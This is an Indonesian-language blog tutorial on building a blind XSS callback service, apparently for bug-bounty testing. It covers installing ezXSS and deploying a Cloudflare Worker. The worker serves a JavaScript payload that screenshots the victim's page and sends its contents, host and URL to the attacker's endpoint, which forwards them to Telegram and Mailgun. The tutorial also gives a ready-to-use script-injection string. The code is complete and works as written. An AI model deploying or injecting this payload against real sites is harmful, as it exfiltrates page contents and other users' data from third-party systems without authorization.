Self-Hosted & Serverless Blind XSS Hunter Menggunakan Cloudflare Workers

Mungkin sebelumnya kamu adalah pengguna XSS Hunter yang dibuat oleh @IAmMandatory. Tapi jika kamu sedang mempertimbangkan untuk menggunakan self-hosted Blind XSS Hunter, silakan lanjutkan membaca tulisan ini. Pada dasarnya tulisan ini akan mengarahkan kamu untuk membangun Blind XSS Hunter milik kamu sendiri menggunakan sebuah server atau tanpa menggunakan server sama sekali. Untuk serverless, disini kita akan menggunakan Cloudflare Workers, Telegram dan sebagai opsional menggunakan mail services dari Mailgun.

Selama ini saya hanya menggunakan 2 tools ini untuk berbagai kebutuhan :

  • Self-hosted : ezXSS by @elyesa
  • Serverless : Blind XSS Cloudflare Workers by @vavkamil

Self-Hosted Blind XSS Hunter

Jika kamu ingin menggunakan layanan yang hampir mirip dengan XSS Hunter, kamu bisa menggunakan ezXSS. Bedanya ezXSS ini menggunakan server milik kamu sendiri. Untuk mulai menggunakan ezXSS silakan ikuti petunjuk dibawah ini :

Instalasi ezXSS

Clone repo ezXSS ke document root server kamu

git clone https://github.com/ssl/ezXSS.git

Setelah itu buatlah sebuah database untuk ezXSS dan sesuaikan data yang kamu buat dengan konfigurasi di /src/Database.php line 5 - 8.

mysql -u root -p
CREATE DATABASE xss;
CREATE USER xss@localhost IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON xss.* TO xss@localhost IDENTIFIED BY 'password';
FLUSH PRIVILEGES;

Setelah itu buka browser dan lanjutkan ke proses instalasi. Akses https://domainkamu.com/manage/install maka tampilannya akan seperti berikut ini :

Lanjutkan dengan mengisi email dan juga password untuk panel tersebut. Berikut untuk tampilan dari ezXSS :

Serverless Blind XSS Hunter Menggunakan Cloudflare Workers

Ada opsi lainnya yang bisa digunakan, jika kamu tidak memiliki server atau tidak ingin menggunakan sebuah server, kamu bisa menggunakan layanan dari Cloudflare, yakni Cloudflare Workers. Nantinya apabila payload yang kamu eksekusi berhasil, maka report akan dikirimkan oleh bot Telegram ke kamu langsung. Opsi tambahan, kamu bisa menggunakan mail service dari Mailgun untuk mendapatkan report via email berikut dengan screenshot.

Jika kamu sudah memiliki akun Cloudflare, silakan lansung menuju halaman https://dash.cloudflare.com/{account id}/workers/overview. Nantinya kamu akan memilih subdomain yang akan kamu gunakan, setelah itu dilanjutkan dengan Create Workers. Setelah itu paste code berikut :

addEventListener("fetch", event => {
  event.respondWith(handleRequest(event.request))
})

////////////////////////////////////////////////////////////////////////////////////////////////////
// ! DON'T LEAK THE SECRETS !
// Use Workers KV if you can https://developers.cloudflare.com/workers/reference/storage/

const telegram_token = "bot-token"; // Telegram Bot Token
const telegram_url = "https://api.telegram.org/bot" + telegram_token + "/sendMessage";
const telegram_to = "12345678"; // User ID Kamu

const mailgun_username = "api"
const mailgun_apikey = "apikey" // API Key Mailgun
const mailgun_url = "https://api.mailgun.net/v3/domainkamu.com/messages" // Replace domainkamu.com with your domain

const mailgun_to = "noreply@mail.teguh.co" // Email untuk menerima report
const mailgun_from = "noreply@mail.teguh.co" // Email untuk mengirim report
const mailgun_subject = "Blind XSS Alert Bosku"

const cloudflare_route = "https://xss.teguh.workers.dev/blind.js" // Cloudflare workers punya kamu

////////////////////////////////////////////////////////////////////////////////////////////////////
// Function to parse query strings

async function getParameterByName(name, url) {
  name = name.replace(/[\[\]]/g, "\\$&")
  name = name.replace(/\//g, "")
  let regex = new RegExp("[?&]" + name + "(=([^&#]*)|&|#|$)"),
    results = regex.exec(url)

  if (!results) return null
  else if (!results[2]) return ""
  else if (results[2]) {
    results[2] = results[2].replace(/\//g, "")
  }

  return decodeURIComponent(results[2].replace(/\+/g, " "));
}

////////////////////////////////////////////////////////////////////////////////////////////////////
// Main stuff is happening here

async function handleRequest(request) {
  console.log(new Map(request.headers))

  ////////////////////////////////////////////////////////////////////////////////////////////////////
  // Process POST request and send notifications to Telegram and E-mail

  if (request.method == "POST") {
    const blind_ip = request.headers.get("cf-connecting-ip") // Original visitor IP address
    const blind_country = request.headers.get("cf-ipcountry") // Country by IP

    const blind_referer = request.headers.get("referer")
    const blind_useragent = request.headers.get("user-agent")

    const postData = await request.formData();
    const base64_img = postData.get("png") // btoa(canvas.toDataURL())
    const blind_host = postData.get("host") // location.hostname
    const blind_url = atob(atob(postData.get("url"))) // btoa(btoa(location))

    ////////////////////////////////////////////////////////////////////////////////////////////////////
    // HTML styled message for Telegram & Mailgun

    const mailgun_alert = ["<b>Blind XSS</b> was executed on : <b>" + blind_host + "</b>",
    "<b>IP</b>: <code>" + blind_ip + "</code> (<b>" + blind_country + "</b>)",
    "<b>user-agent</b>: <code>" + blind_useragent + "</code>",
    "<b>URL</b>: <pre>" + blind_url + "</pre>",
    "<b>referrer</b>:\n<pre>" + blind_referer + "</pre>",
    "<a href='" + cloudflare_route + "?base64=" + base64_img + "'>Screenshot</a>"]

    const telegram_alert = ["<b>Blind XSS</b> was executed on : \n<pre>" + blind_host + "</pre>\n",
    "<b>IP</b> : \n<pre>" + blind_ip + " (" + blind_country + ")</pre>\n",
    "<b>Full URL</b> : \n<pre>" + blind_url + "</pre>\n",
    "<b>User Agent</b> : \n<pre>" + blind_useragent + "</pre>"]

    ////////////////////////////////////////////////////////////////////////////////////////////////////
    // Telegram notification

    const telegram_init = {
      method: "POST",
      headers: new Headers([["Content-Type", "application/x-www-form-urlencoded"]]),
      body: "chat_id=" + telegram_to + "&disable_web_page_preview=1&parse_mode=html&text=" + telegram_alert.join("\r\n")
    }

    const telegram_response = await fetch(telegram_url, telegram_init)
    console.log("Telegram response: ", telegram_response.status)

    ////////////////////////////////////////////////////////////////////////////////////////////////////
    // Mailgun notification

    let mailgun_headers = {
      "Content-Type": "application/x-www-form-urlencoded",
      "Authorization": "Basic " + btoa(mailgun_username + ":" + mailgun_apikey)
    }

    const mailgun_init = {
      method: "POST",
      headers: mailgun_headers,
      body: "html=" + mailgun_alert.join("<br><br>") + "&subject=" + mailgun_subject + " on " + blind_host + "&from=" + mailgun_from + "&to=" + mailgun_to
    }

    const mailgun_response = await fetch(mailgun_url, mailgun_init)
    // console.log("Mailgun response: " + mailgun_response.status)

    ////////////////////////////////////////////////////////////////////////////////////////////////////
    // Return something here

    return new Response("Blind XSS executed, have a nice day :)", {
      headers: new Headers([["Content-Type", "text/plain"], ["Access-Control-Allow-Origin", "*"]]),
      status: 200
    })
  }
  ////////////////////////////////////////////////////////////////////////////////////////////////////
  // Process GET requests, return base64 image, html2canvas.min.js or Blind XSS payload

  else {
    ////////////////////////////////////////////////////////////////////////////////////////////////////
    // Check for GET parameters

    let base64 = await getParameterByName("base64", request.url)
    let html2canvas = await getParameterByName("html2canvas", request.url)

    if (base64) {
      ////////////////////////////////////////////////////////////////////////////////////////////////////
      // Return base64 image

      return new Response("<img src='" + atob(base64) + "' style='border: 1px dashed red;'>", {
        headers: new Headers([["Content-Type", "text/html"]]),
        status: 200
      })
    }
    else if (html2canvas) {
      ////////////////////////////////////////////////////////////////////////////////////////////////////
      // Return html2canvas.min.js from our domain

      let content = await fetch("https://html2canvas.hertzen.com/dist/html2canvas.min.js")
      return content
    }
    else {
      ////////////////////////////////////////////////////////////////////////////////////////////////////
      // Return Blind XSS payload

      let js_response = ["// Ethical Blind XSS hunting, nothing malicious ;)",
        "let script = document.createElement('script');",
        "script.onload = function () {",
        "  html2canvas(document.documentElement, {scale: 1}).then(canvas => {",
        "    let init = {",
        "      method: 'POST',",
        "      headers: new Headers([['Content-Type', 'application/x-www-form-urlencoded']]),",
        "      body: 'png='+btoa(canvas.toDataURL())+'&host='+location.hostname+'&url='+btoa(btoa(location))",
        "    }",
        "    fetch('" + cloudflare_route + "', init)",
        "  });",
        "};",
        "script.src = '" + cloudflare_route + "?html2canvas=1';",
        "document.head.appendChild(script);"].join("\r\n")

      return new Response(js_response, {
        headers: new Headers([["Content-Type", "application/javascript"]]),
        status: 200
      })
    }
  }
}

Setelah itu Save & Deploy, tampilannya seperti berikut :

Berikut untuk payload nya dan sesuaikan dengan workers milik kamu :

"><script src=//xss.teguh.workers.dev/></script>

Jika payload yang kamu eksekusi berhasil, kamu akan menerima chat dari bot telegram milik kamu. Contohnya seperti berikut ini :

Jika kamu mengaktifkan opsi menerima report via email, maka tampilannya seperti berikut :

Jadi jika kamu sedang mencari opsi lain atau alternatif dari XSS Hunter, kamu bisa menggunakan ezXSS dan juga Serverless Blind XSS Hunters menggunakan Cloudflare Workers. Tergantung kamu sendiri ingin menggunakan yang mana. Sesuaikan dengan kebutuhan dan kenginan kamu sendiri.

Terima kasih dan semoga bermanfaat.